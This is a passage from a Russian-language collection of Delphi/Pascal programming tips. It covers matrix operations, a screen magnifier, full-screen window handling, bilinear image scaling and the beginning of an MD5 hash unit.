(* Функция возвращает обратную матрицу *)
function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция умножает матрицу на число *)
function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;
(* Функция умножает матрицу на матрицу *)
function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция суммирует две матрицы *)
function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция вычитает из первой матрицы вторую *)
function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция решает систему методом Гаусса и возвращает LU-матрицы *)
(* Результат функции - вектор-столбец решений                    *)
function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;
implementation
function IntPower(X,n : integer) : integer;
var
  Res,i : integer;
begin
  if n < 1 then IntPower:= 0
  else begin
    Res:= X;
    for i:=1 to n-1 do Res:= Res*X;
    IntPower:= Res;
  end;
end;
function CreateSquareMatrix(Size : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
begin
  TempPtr:= nil;
  GetMem(TempPtr,SizeOf(MatrixRec));
  if TempPtr = nil then begin
    CreateSquareMatrix:= nil;
    Exit;
  end;
  with TempPtr^ do begin
    MatrixRow:= Size;
    MatrixCol:= Size;
    MatrixArray:= nil;
    GetMem(MatrixArray,Size*Size*SizeOf(MatrixElement));
    if MatrixArray = nil then begin
      FreeMem(TempPtr,SizeOf(MatrixRec));
      CreateSquareMatrix:= nil;
      Exit;
    end;
  end;
  FillMatrix(TempPtr,0);
  CreateSquareMatrix:= TempPtr;
end;
function CreateMatrix(Row,Col : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
begin
  TempPtr:= nil;
  GetMem(TempPtr,SizeOf(MatrixRec));
  if TempPtr = nil then begin
    CreateMatrix:= nil;
    Exit;
  end;
  with TempPtr^ do begin
    MatrixRow:= Row;
    MatrixCol:= Col;
    MatrixArray:= nil;
    GetMem(MatrixArray,Row*Col*SizeOf(MatrixElement));
    if MatrixArray = nil then begin
      FreeMem(TempPtr,SizeOf(MatrixRec));
      CreateMatrix:= nil;
      Exit;
    end;
  end;
  FillMatrix(TempPtr,0);
  CreateMatrix:= TempPtr;
end;
function DeleteMatrix(var MPtr : MatrixPtr) : boolean;
begin
  if MPtr = nil then DeleteMatrix:= FALSE
  else with MPtr^ do begin
    if MatrixArray <> nil then
      FreeMem(MatrixArray,MatrixRow*MatrixCol*SizeOf(MatrixElement));
    FreeMem(MPtr,SizeOf(MatrixRec));
    MPtr:= nil;
    DeleteMatrix:= TRUE;
  end;
end;
function CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if MPtr = nil then CloneMatrix:= nil
  else with MPtr^ do begin
    TempPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
    if TempPtr <> nil then begin
      for i:= 1 to MatrixRow do
        for j:= 1 to MatrixCol do
          SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j));
      CloneMatrix:= TempPtr;
    end else CloneMatrix:= nil;
  end;
end;
function FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;
var
  i,j : byte;
begin
  if MPtr = nil then FillMatrix:= FALSE
  else with MPtr^ do begin
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(MPtr,i,j,Value);
    FillMatrix:= TRUE;
  end;
end;
function AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;
begin
  DeleteMatrix(MPtr1);
  MPtr1:= MPtr2;
  AssignMatrix:= MPtr1;
end;
function DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;
var
  i,j : byte;
begin
  if MPtr = nil then DisplayMatrix:= FALSE
  else with MPtr^ do begin
    for i:= 1 to MatrixRow do begin
      for j:= 1 to MatrixCol do
        write(GetMatrixElement(MPtr,i,j) : _Int : _Frac);
      writeln;
    end;
    DisplayMatrix:= TRUE;
  end;
end;
function IsSingleMatrix(MPtr : MatrixPtr) : boolean;
begin
  if MPtr <> nil then with MPtr^ do begin
    if (MatrixRow = 1) and (MatrixCol = 1) then
      IsSingleMatrix:= TRUE
    else IsSingleMatrix:= FALSE;
  end else IsSingleMatrix:= FALSE;
end;
function IsSquareMatrix(MPtr : MatrixPtr) : boolean;
begin
  if MPtr <> nil then with MPtr^ do begin
    if MatrixRow = MatrixCol then
      IsSquareMatrix:= TRUE
    else IsSquareMatrix:= FALSE;
  end else IsSquareMatrix:= FALSE;
end;
function GetMatrixRow(MPtr : MatrixPtr) : byte;
begin
  if MPtr <> nil then GetMatrixRow:= MPtr^.MatrixRow
  else GetMatrixRow:= 0;
end;
function GetMatrixCol(MPtr : MatrixPtr) : byte;
begin
  if MPtr <> nil then GetMatrixCol:= MPtr^.MatrixCol
  else GetMatrixCol:= 0;
end;
procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);
var
  TempPtr : ^MatrixElement;
begin
  if MPtr <> nil then
    if (Row <> 0) or (Col <> 0) then with MPtr^ do begin
      pointer(TempPtr):= pointer(MatrixArray);
      Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
      TempPtr^:= Value;
    end;
end;
function GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
  TempPtr : ^MatrixElement;
begin
  if MPtr <> nil then begin
    if (Row <> 0) and (Col <> 0) then with MPtr^ do begin
      pointer(TempPtr):= pointer(MatrixArray);
      Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
      GetMatrixElement:= TempPtr^;
    end else GetMatrixElement:= 0;
  end else GetMatrixElement:= 0;
end;
function ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;
var
  NewPtr           : MatrixPtr;
  NewRow, NewCol   : byte;
  i,j              : byte;
  DiffRow, DiffCol : byte;
begin
  if MPtr <> nil then with MPtr^ do begin
    if Row = 0 then NewRow:= MatrixRow
    else NewRow:= MatrixRow-1;
    if Col = 0 then NewCol:= MatrixCol
    else NewCol:= MatrixCol-1;
    NewPtr:= CreateMatrix(NewRow, NewCol);
    if (NewPtr = nil) or (NewPtr^.MatrixArray = nil) then begin
      ExcludeVectorFromMatrix:= nil;
      Exit;
    end;
    DiffRow:= 0;
    DiffCol:= 0;
    for i:= 1 to MatrixRow do begin
      if i = Row then DiffRow:= 1
      else  for j:= 1 to MatrixCol do if j = Col then DiffCol:= 1
        else SetMatrixElement(NewPtr,i-DiffRow,j-DiffCol,
          GetMatrixElement(MPtr,i,j));
      DiffCol:= 0;
    end;
    ExcludeVectorFromMatrix:= NewPtr;
  end else ExcludeVectorFromMatrix:= nil;
end;
function SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i       : byte;
begin
  if (MPtr <> nil) and (VPtr <> nil) then begin
    TempPtr:= CloneMatrix(MPtr);
    if TempPtr = nil then begin
      SetVectorIntoMatrix:= nil;
      Exit;
    end;
    if VPtr^.MatrixRow = 1 then begin
      for i:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,_Pos,i,GetMatrixElement(VPtr,1,i));
    end else begin
      for i:= 1 to TempPtr^.MatrixRow do
        SetMatrixElement(TempPtr,i,_Pos,GetMatrixElement(VPtr,i,1));
    end;
    SetVectorIntoMatrix:= TempPtr;
  end else SetVectorIntoMatrix:= nil;
end;
function DetMatrix(MPtr : MatrixPtr) : MatrixElement;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
  Sum     : MatrixElement;
begin
  if IsSquareMatrix(MPtr) then begin
    if not IsSingleMatrix(MPtr) then begin
      TempPtr:= nil;
      Sum:= 0;
      for j:= 1 to GetMatrixCol(MPtr) do begin
        AssignMatrix(TempPtr,ExcludeVectorFromMatrix(MPtr,1,j));
        Sum:= Sum+IntPower(-1,j+1)*GetMatrixElement(MPtr,1,j)*DetMatrix(TempPtr);
      end;
      DeleteMatrix(TempPtr);
      DetMatrix:= Sum;
    end else DetMatrix:= GetMatrixElement(MPtr,1,1);
  end else DetMatrix:= 0;
end;
function DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;
var
  i       : byte;
  Sum     : MatrixElement;
begin
  if IsSquareMatrix(MPtr) then begin
    Sum:= 1;
    for i:= 1 to MPtr^.MatrixRow do
      Sum:= Sum*GetMatrixElement(MPtr,i,i);
    DetTriangularMatrix:= Sum;
  end else DetTriangularMatrix:= 0;
end;
function AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
  TempPtr : MatrixPtr;
begin
  if IsSquareMatrix(MPtr) then begin
    TempPtr:= ExcludeVectorFromMatrix(MPtr,Row,Col);
    if TempPtr = nil then begin
      AppendixElement:= 0;
      Exit;
    end;
    AppendixElement:= IntPower(-1,Row+Col)*DetMatrix(TempPtr);
    DeleteMatrix(TempPtr);
  end else AppendixElement:= 0;
end;
function CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) or
     (not IsSquareMatrix(MPtr)) then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,i,j,AppendixElement(MPtr,i,j));
    CreateAppendixMatrix:= TempPtr;
  end else CreateAppendixMatrix:= nil;
end;
function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,j,i,GetMatrixElement(MPtr,i,j));
    TransponeMatrix:= TempPtr;
  end else TransponeMatrix:= nil;
end;
function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr     : MatrixPtr;
  Determinant : MatrixElement;
begin
  if MPtr <> nil then begin
    TempPtr:= nil;
    AssignMatrix(TempPtr,CreateAppendixMatrix(MPtr));
    AssignMatrix(TempPtr,TransponeMatrix(TempPtr));
    Determinant:= DetMatrix(MPtr);
    if (TempPtr = nil) or (Determinant = 0) then begin
      DeleteMatrix(TempPtr);
      ReverseMatrix:= nil;
      Exit;
    end;
    AssignMatrix(TempPtr,MultipleMatrixOnNumber(TempPtr,1/Determinant));
    ReverseMatrix:= TempPtr;
  end else ReverseMatrix:= nil;
end;
function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if MPtr <> nil then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixRow,MatrixCol);
    if TempPtr = nil then begin
      MultipleMatrixOnNumber:= nil;
      Exit;
    end;
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j)*Number);
    MultipleMatrixOnNumber:= TempPtr;
  end else MultipleMatrixOnNumber:= nil;
end;
function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      MultipleMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        for k:= 1 to MPtr1^.MatrixCol do
          SetMatrixElement(TempPtr,i,j,GetMatrixElement(TempPtr,i,j)+
            GetMatrixElement(MPtr1,i,k)*GetMatrixElement(MPtr2,k,j));
    MultipleMatrixOnMatrix:= TempPtr;
  end else MultipleMatrixOnMatrix:= nil;
end;
function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      AddMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(Mptr1,i,j)+
          GetMatrixElement(MPtr2,i,j));
    AddMatrixOnMatrix:= TempPtr;
  end else AddMatrixOnMatrix:= nil;
end;
function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      SubMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr1,i,j)-
          GetMatrixElement(MPtr2,i,j));
    SubMatrixOnMatrix:= TempPtr;
  end else SubMatrixOnMatrix:= nil;
end;
function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr  : MatrixPtr;
  TempVPtr : MatrixPtr;
  TempLPtr : MatrixPtr;
  TempUPtr : MatrixPtr;
  XSum     : MatrixElement;
  i,j,k    : byte;
begin
  if (MPtr <> nil) and (VPtr <> nil) then begin
    TempUPtr:= CloneMatrix(MPtr);
    if TempUPtr = nil then begin
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempLPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
    if TempLPtr = nil then begin
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempVPtr:= CloneMatrix(VPtr);
    if TempVPtr = nil then begin
      DeleteMatrix(TempLPtr);
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempPtr:= CreateMatrix(MPtr^.MatrixRow,1);
    if TempPtr = nil then begin
      DeleteMatrix(TempVPtr);
      DeleteMatrix(TempLPtr);
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;
    for j:= 1 to MPtr^.MatrixCol-1 do begin
      SetMatrixElement(TempLPtr,j,j,1);
      for i:= j+1 to MPtr^.MatrixRow do begin
        SetMatrixElement(TempLPtr,i,j,GetMatrixElement(TempUPtr,i,j)/
          GetMatrixElement(TempUPtr,j,j));
        for k:= j to MPtr^.MatrixCol do begin
          SetMatrixElement(TempUPtr,i,k,GetMatrixElement(TempUPtr,i,k)-
            GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempUPtr,j,k));
        end;
        SetMatrixElement(TempVPtr,i,1,GetMatrixElement(TempVPtr,i,1)-
          GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempVPtr,j,1));
      end;
    end;
    SetMatrixElement(TempLPtr,TempLPtr^.MatrixRow,TempLPtr^.MatrixCol,1);
    SetMatrixElement(TempPtr,TempPtr^.MatrixRow,1,
      GetMatrixElement(TempVPtr,TempVPtr^.MatrixRow,1)/
      GetMatrixElement(TempUPtr,TempUPtr^.MatrixRow,TempUPtr^.MatrixCol));
    for j:= MPtr^.MatrixCol-1 downto 1 do begin
      XSum:= 0;
      for k:= j+1 to MPtr^.MatrixCol do
        XSum:= XSum+GetMatrixElement(TempUPtr,j,k)*
          GetMatrixElement(TempPtr,k,1);
      SetMatrixElement(TempPtr,j,1,(GetMatrixElement(TempVPtr,j,1)-XSum)/
        GetMatrixElement(TempUPtr,j,j));
    end;
    LPtr:= TempLPtr;
    UPtr:= TempUPtr;
    BPtr:= TempVPtr;
    GausseMethodMatrix:= TempPtr;
  end else GausseMethodMatrix:= nil;
end;
end.

Мне кажется, что интерфейсное описание весьма простое, но если возникнут какие-либо вопросы - пишите на E-mail - постараюсь ответить на все Ваши вопросы. Может быть, азы матричного исчисления я опишу в виде отдельной статьи по причине множества поступивших вопросов, хотя в этой матричной математике нет ничего сложного :o) Следует отметить, что теория матриц дает в Ваши руки весьма мощный инструмент по анализу данных весьма различного характера, в чем я неоднократно убеждался на практике.

Важные, на мой взгляд, замечания. НЕ СТЕСНЯЙТЕСЬ использовать подход, использующий стандартный тип Pascal - record - в объектах мало чего хорошего в межкомпиляторном взаимодействии. Да и, кстати, использование типа record до сих пор является самым быстрым способом математических расчетов, в отличиие от ООП. Частенько простое 2+2=4 дает существенный выигрыш по времени выполнения, по сравнению с объектным подходом, а если математических вычислений в Вашей программе великое множество....

Как заменить строку в матрице.

Автор: http://www.lmc-mediaagentur.de/dpool

program Matrices;
{$APPTYPE CONSOLE}
uses
  SysUtils;
type
  TMatrixRow = array of Double; {preferrable to Real}
  TMatrix = array of TMatrixRow;
procedure MatrixExchangeRows(M: TMatrix; First, Second: Integer);
var
  Help: TMatrixRow;
begin
  if (First < 0) or (First > High(M)) or (Second < 0) or (Second > High(M)) then
    Exit; {or whatever you like.}
  {Only pointers are exchanged!}
  Help := M[First];
  M[First] := M[Second];
  M[Second] := Help;
end;
procedure MatrixWrite(M: TMatrix);
var
  Row, Col: Integer;
begin
  for Row := 0 to High(M) do
  begin
    for Col := 0 to High(M[Row]) do
      Write(M[Row, Col]: 10: 2);
    Writeln;
  end;
  Writeln;
end;
var
  Matrix: TMatrix;
  Row, Column: Integer;
begin
  Randomize;
  SetLength(Matrix, 4, 4);
  for Row := 0 to High(Matrix) do
    for Column := 0 to High(Matrix[Row]) do
      Matrix[Row, Column] := Random * 1000.0;
  MatrixWrite(Matrix);
  MatrixExchangeRows(Matrix, 1, 2);
  MatrixWrite(Matrix);
  Readln;
end.

Как создать Delphi приложение, которое могло бы увеличивать часть рабочего стола наподобие лупы.

Статьи по Delphi (011)… Автор: Zarko Gajic

Есть программы, которые позволяют увеличивать определённую область экрана в районе курсора мышки. А вам слабо самостоятельно сделать такое приложение ?

Итак, приступим.

Нам понадобится одна форма, один элемент управления image, одна панель, кнопка, таймер и бегунок. Добавляем к форме картинку и панель. Размещаем остальные элементы управления на панели. Теперь всё готово к программированию. Но предварительно Вам необходимо изменить некоторые свойства у Ваших элементов управления.

А вот код, наиболее важной части программы:

// переменные
var
  Srect, Drect, PosForme: TRect;
  iWidth, iHeight, DmX, DmY: Integer;
  iTmpX, iTmpY: Real;
  C: TCanvas;
  Kursor: TPoint;
...
// Увеличиваем экран, если приложение не свёрнуто в иконку
if not IsIconic(Application.Handle) then
begin
  // Получаем координаты курсора
  GetCursorPos(Kursor);
  // PosForm представляет прямоугольник с координатами Form (image control).
  PosForme := Rect(Form1.Left, Form1.Top, Form1.Left + Form1.Width, Form1.Top + Form1.Height);
  //Показываем magnified screen если курсор за пределами формы.
  if not PtInRect(PosForme, Kursor) then
  begin
    // Далее код можно использовать для увеличения выбранной
    // части экрана. С небольшими модификациями его можно
    // использовать для уменьшения
    // экрана
    iWidth := Image1.Width;
    iHeight := Image1.Height;
    Drect := Bounds(0, 0, iWidth, iHeight);
    iTmpX := iWidth / (Slider.Position * 4);
    iTmpY := iHeight / (Slider.Position * 4);
    Srect:=
    Rect(Kursor.x, Kursor.y, Kursor.x, Kursor.y);
    InflateRect(Srect, Round(iTmpX), Round(iTmpY));
    //Получаем обработчик(handle) окна рабочего стола.
    C := TCanvas.Create;
    try
      C.Handle := GetDC(GetDesktopWindow);
      //Передаём часть изображения окна в TImage.
      Image1.Canvas.CopyRect(Drect, C, Srect);
    finally
      C.Free;
    end;
  end;
  // Обязательно обрабатываем все сообщения Windows.
  Application.ProcessMessages;
end; // IsIconic
Готовый проект можно скачать здесь (6 K).

Статьи по Delphi (011)… Статьи по Delphi (011)…

И напоследок, пара полезных компонент: TransitionEffect. Компонент позволяет делать stretches, slides, zooms и pushes. ZImage бесплатный Delphi VCL компонент, который можно использовать для отображения различных изображений: картинок, факсов и т.д. Используя мышку, можно увеличивать изображение и уменьшать, а так же скроллировать. Можно показывать скроллинг справа и внизу. Alexander Rublinetsky.

Как развернуть форму на весь экран, как в играх.

interface
uses
 Windows, Messages, SysUtils, Classes, Controls,
Forms,
 StdCtrls;
type
 TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
 private
   { Private declarations }
procedure WMGetMinMaxInfo(var msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;
 public
   { Public declarations }
 end;
var
 Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMGetMinMaxInfo(var msg:
TWMGetMinMaxInfo);
begin
 inherited;
 with msg.MinMaxInfo^.ptMaxTrackSize do begin
   X := GetDeviceCaps( Canvas.handle, HORZRES ) +
(Width - ClientWidth);
   Y := GetDeviceCaps( Canvas.handle, VERTRES ) +
(Height - ClientHeight );
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
const
Rect: TRect = (Left: 0; Top: 0; Right: 0; Bottom: 0);
FullScreen: Boolean = False;
// Разворачиваем на весь экран
begin
FullScreen := not FullScreen;
if FullScreen then begin
Rect := BoundsRect;
SetBounds( Left - ClientOrigin.X,
Top - ClientOrigin.Y, GetDeviceCaps( Canvas.handle,
HORZRES )
+ (Width - ClientWidth), GetDeviceCaps( Canvas.handle,
VERTRES )
+ (Height - ClientHeight ));
                  end
else BoundsRect := Rect;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;
end.

Как качественно увеличить изображение при помощи билинейной интерполяции.

Статьи по Delphi (011)… Статьи по Delphi (011)…
- Как повысить рождаемость на планете? - Заставить Microsoft выпускать презервативы!

Этот алгоритм увеличивает изображение в произвольное количество раз при помощи билинейной интерполяции. При создании нового изображения каждой его точке с целыми координатами (x,y) сопоставляется точка исходного изображения с дробными координатами (xo, yo), xo=x/dx, yo=y/dy (dx и dy – коэффициенты увеличения). Далее нужно провести поверхность через точки, лежащие вокруг (xo, yo). Цвет здесь рассматривается как третье измерение. На поверхности ищется точка с координатами (xo, yo) и ее цвет понимается за цвет точки (x,y) получаемого изображения.

Этот алгоритм хорошо работает при целых или больших коэффициентах увеличения. Но резкие границы размываются. Для уменьшения изображения этот алгоритм также не подходит.

procedure Interpolate(var bm: TBitMap; dx, dy: single);
var
  bm1: TBitMap;
  z1, z2: single;
  k, k1, k2: single;
  x1, y1: integer;
  c: array [0..1, 0..1, 0..2] of byte;
  res: array [0..2] of byte;
  x, y: integer;
  xp, yp: integer;
  xo, yo: integer;
  col: integer;
  pix: TColor;
begin
  bm1 := TBitMap.Create;
  bm1.Width := round(bm.Width * dx);
  bm1.Height := round(bm.Height * dy);
  for y := 0 to bm1.Height - 1 do
  begin
    for x := 0 to bm1.Width - 1 do
    begin
      xo := trunc(x / dx);
      yo := trunc(y / dy);
      x1 := round(xo * dx);
      y1 := round(yo * dy);
      for yp := 0 to 1 do
        for xp := 0 to 1 do
        begin
          pix := bm.Canvas.Pixels[xo + xp, yo + yp];
          c[xp, yp, 0] := GetRValue(pix);
          c[xp, yp, 1] := GetGValue(pix);
          c[xp, yp, 2] := GetBValue(pix);
        end;
      for col := 0 to 2 do
      begin
        k1 := (c[1,0,col] - c[0,0,col]) / dx;
        z1 := x * k1 + c[0,0,col] - x1 * k1;
        k2 := (c[1,1,col] - c[0,1,col]) / dx;
        z2 := x * k2 + c[0,1,col] - x1 * k2;
        k := (z2 - z1) / dy;
        res[col] := round(y * k + z1 - y1 * k);
      end;
      bm1.Canvas.Pixels[x,y] := RGB(res[0], res[1], res[2]);
    end;
    Form1.Caption := IntToStr(round(100 * y / bm1.Height)) + '%';
    Application.ProcessMessages;
    if Application.Terminated then
      Exit;
  end;
  bm := bm1;
end;
const
  dx = 5.5;
  dy = 5.5;
procedure TForm1.Button1Click(Sender: TObject);
const
  w = 50;
  h = 50;
var
  bm: TBitMap;
  can: TCanvas;
begin
  bm := TBitMap.Create;
  can := TCanvas.Create;
  can.Handle := GetDC(0);
  bm.Width := w;
  bm.Height := h;
  bm.Canvas.CopyRect(Bounds(0, 0, w, h), can, Bounds(0, 0, w, h));
  ReleaseDC(0, can.Handle);
  Interpolate(bm, dx, dy);
  Form1.Canvas.Draw(0, 0, bm);
  Form1.Caption := 'x: ' + FloatToStr(dx) +
  ' y: ' + FloatToStr(dy) +
  ' width: ' + IntToStr(w) +
  ' height: ' + IntToStr(h);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  bm: TBitMap;
begin
  if OpenDialog1.Execute then
    bm.LoadFromFile(OpenDialog1.FileName);
  Interpolate(bm, dx, dy);
  Form1.Canvas.Draw(0, 0, bm);
  Form1.Caption := 'x: ' + FloatToStr(dx) +
  ' y: ' + FloatToStr(dy) +
  ' width: ' + IntToStr(bm.Width) +
  ' height: ' + IntToStr(bm.Height);
end;

Обработка запроса на максимальное раскрытие окна.

Мне необходимо иметь в приложении форму, раскрывающуюся при нажатии на кнопку "Открыть на весь экран" только в половину экрана, а не на полный экран. Вам необходимо обработать из вашей формы сообщение WM_GETMINMAXINFO.

Например, добавьте следующее объявление в защищенную (protected) секцию вашей формы (interface):

procedure _WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO );
  message wm_GetMinMaxInfo; 

И создайте обработчик этого сообщения следующим образом (TForm1, естественно, имя вашей формы):

procedure TForm1._WM_GETMINMAXINFO(var mmInfo: TWMGETMINMAXINFO);
begin
  // устанавливаем позицию и размер вашей формы
  // при ее максимальном раскрытии:
  with mmInfo.minmaxinfo^ do
  begin
    ptmaxposition.x := Screen.Width div 4;
    ptmaxposition.y := Screen.Height div 4;
    ptmaxsize.x := Screen.Width div 2;
    ptmaxsize.y := Screen.Height div 2;
  end;
end;

Вычисление хеш-суммы MD5.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вычисление хеш-суммы MD5
Зависимости: Windows, SysUtils, Classes
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   http://www.faqs.org/rfcs/rfc1321.html
Дата:        19 июня 2002 г.
***************************************************** }
{******************************************************************}
{ MD5 Hashsum Evaluation Unit For Borland Delphi }
{ }
{ Copyright © 2002 by Dimka Maslov }
{ E-mail: mainbox@endimus.com, }
{ Web-site: http://www.endimus.com }
{ }
{ Derived from the RSA Data Security, Inc. }
{ MD5 Message-Digest Algorithm described in RFC 1321 }
{ http://www.faqs.org/rfcs/rfc1321.html }
{******************************************************************}
unit md5;
interface
uses Windows, SysUtils, Classes;
type
  { Тип TMD5Digest используется для получения
    результата функций вычисления хеш-суммы.
    Содержимое записи можно использовать
    как набор из 4 целых чисел, или как
    массив из 16 байт }
  PMD5Digest = ^TMD5Digest;
  TMD5Digest = record
    case Integer of
      0: (A, B, C, D: LongInt);
      1: (v: array[0..15] of Byte);
  end;
  // вычисление хеш-суммы для строки
function MD5String(const S: string): TMD5Digest;
// вычисление хеш-суммы для файла
function MD5File(const FileName: string): TMD5Digest;
// вычисление хеш-суммы для содержиого потока Stream
function MD5Stream(const Stream: TStream): TMD5Digest;
// вычисление хеш-суммы для произвольного буфера
function MD5Buffer(const Buffer; Size: Integer): TMD5Digest;
// преобразование хеш-суммы в строку из шестнадцатеричных цифр
function MD5DigestToStr(const Digest: TMD5Digest): string;
// сравнение двух хеш-сумм
function MD5DigestCompare(const Digest1, Digest2: TMD5Digest): Boolean;
implementation
{
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
}
type
  UINT4 = LongWord;
  PArray4UINT4 = ^TArray4UINT4;
  TArray4UINT4 = array[0..3] of UINT4;
  PArray2UINT4 = ^TArray2UINT4;
  TArray2UINT4 = array[0..1] of UINT4;
  PArray16Byte = ^TArray16Byte;
  TArray16Byte = array[0..15] of Byte;
  PArray64Byte = ^TArray64Byte;
  TArray64Byte = array[0..63] of Byte;
  PByteArray = ^TByteArray;
  TByteArray = array[0..0] of Byte;
  PUINT4Array = ^TUINT4Array;
  TUINT4Array = array[0..0] of UINT4;
  PMD5Context = ^TMD5Context;
  TMD5Context = record
    state: TArray4UINT4;
    count: TArray2UINT4;
    buffer: TArray64Byte;
  end;
const
  S11 = 7;
  S12 = 12;
  S13 = 17;
  S14 = 22;
  S21 = 5;
  S22 = 9;
  S23 = 14;
  S24 = 20;
  S31 = 4;
  S32 = 11;
  S33 = 16;
  S34 = 23;
  S41 = 6;
  S42 = 10;
  S43 = 15;
  S44 = 21;
var
  Padding: TArray64Byte =
  ($80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
